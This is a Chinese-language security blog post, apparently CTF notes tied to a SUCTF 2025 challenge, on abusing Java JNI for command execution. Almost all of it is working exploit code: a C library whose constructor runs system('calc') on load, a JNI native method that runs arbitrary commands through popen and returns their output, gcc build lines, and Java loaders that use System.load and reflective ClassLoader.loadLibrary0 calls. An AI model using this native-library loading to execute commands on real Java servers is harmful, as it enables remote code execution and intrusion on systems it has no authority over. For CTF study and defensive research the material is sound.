JNI
1diot9 Lv3

利用手法

目前知道的有两种,一种是.c直接编译成.dll;第二种是得到.h后编写对应.c,然后编译成.jnilib

.c直接编译

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

//加载进内存前执行
__attribute__ ((__constructor__)) void preload (void){
system("calc");
}

gcc -shared -fPIC qwq.c -o hack.dll

1
2
3
public class Native {
public native String exec(String cmd);
}
1
2
3
4
5
6
7
8
public class dll_Loader {
public static void main(String[] args) {
//加载根源的.dll,即.c文件直接编译的
System.load("your_path/poc.dll");
Native aNative = new Native();
aNative.exec("calc");
}
}

.jnilib

这里写.jnilib只是为了便于区分,实际上.jinlib一般用与Mac,.dll用于windows,.so用于linux。根据情况选择

先写Native.java

javac Native.java 得到.class

javah -jni Native 得到.h,注意,jdk10以后没有javah命令,需要换一下;Native的位置写完整包名

然后编写包含.h的.c文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <jni.h> // JNI 头文件
#include <stdlib.h> // 提供 popen 和 pclose 函数
#include <stdio.h> // 提供 fgets 和 FILE 操作
#include <string.h> // 提供字符串操作函数

#include "Native.h" // 假设这是 JNI 的头文件

//命名规则:Java_类的全限定名_方法名
JNIEXPORT jstring JNICALL Java_Native_exec(JNIEnv *env, jclass clazz, jstring str) {
if (str != NULL) {
jboolean isCopy;
// 将 jstring 参数转成 char 指针
const char *cmd = (*env)->GetStringUTFChars(env, str, &isCopy);

if (cmd != NULL) {
// 使用 popen 函数执行系统命令
FILE *fd = popen(cmd, "r");

if (fd != NULL) {
// 定义缓冲区和结果字符串
char buf[128];
char result[4096] = {0}; // 用于存储命令执行结果

// 读取 popen 的执行结果
while (fgets(buf, sizeof(buf), fd) != NULL) {
// 将读取到的内容拼接到结果字符串中
strcat(result, buf);
}

// 关闭 popen
pclose(fd);

// 返回命令执行结果给 Java
jstring ret = (*env)->NewStringUTF(env, result);
(*env)->ReleaseStringUTFChars(env, str, cmd); // 释放字符串资源
return ret;
}

(*env)->ReleaseStringUTFChars(env, str, cmd); // 如果 popen 失败,也要释放字符串资源
}
}

return NULL; // 如果输入为空或执行失败,返回 NULL
}

执行 gcc -I”D:\sec_software\jdks\jdk-1.8.0_341\include” -I”D:\sec_software\jdks\jdk-1.8.0_341\include\win32” -shared -o poc.jnilib Native.c

得到.jnilib

1
2
3
4
5
6
7
8
public class Native_Caller {
public static void main(String[] args) {
Native aNative = new Native();
System.load("your_path\\poc.jnilib");
aNative.exec("calc");
}
}

三种.jnilib加载的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        //加载方法1
// File file = new File("D:\\BaiduSyncdisk\\ctf-challenges\\1diot9\\java-challenges\\SUCTF\\suctf2025\\ez_solon\\src\\main\\java\\poc.jnilib");
// Method method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
// method.setAccessible(true);
//这个Native.class一般不会存在于服务器,需要我们通过字节码去加载
// method.invoke(Thread.currentThread().getContextClassLoader(), Native.class, file);

//加载方法2
System.load("D:\\BaiduSyncdisk\\ctf-challenges\\1diot9\\java-challenges\\SUCTF\\suctf2025\\ez_solon\\src\\main\\java\\poc.jnilib");

//加载方法3,失败
// Class<?> aClass = Class.forName("java.lang.ClassLoader$NativeLibrary");
// Method method1 = aClass.getDeclaredMethod("load", String.class, boolean.class, boolean.class);
// method1.setAccessible(true);
// method1.invoke(null, file.getAbsolutePath(), false, false);
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量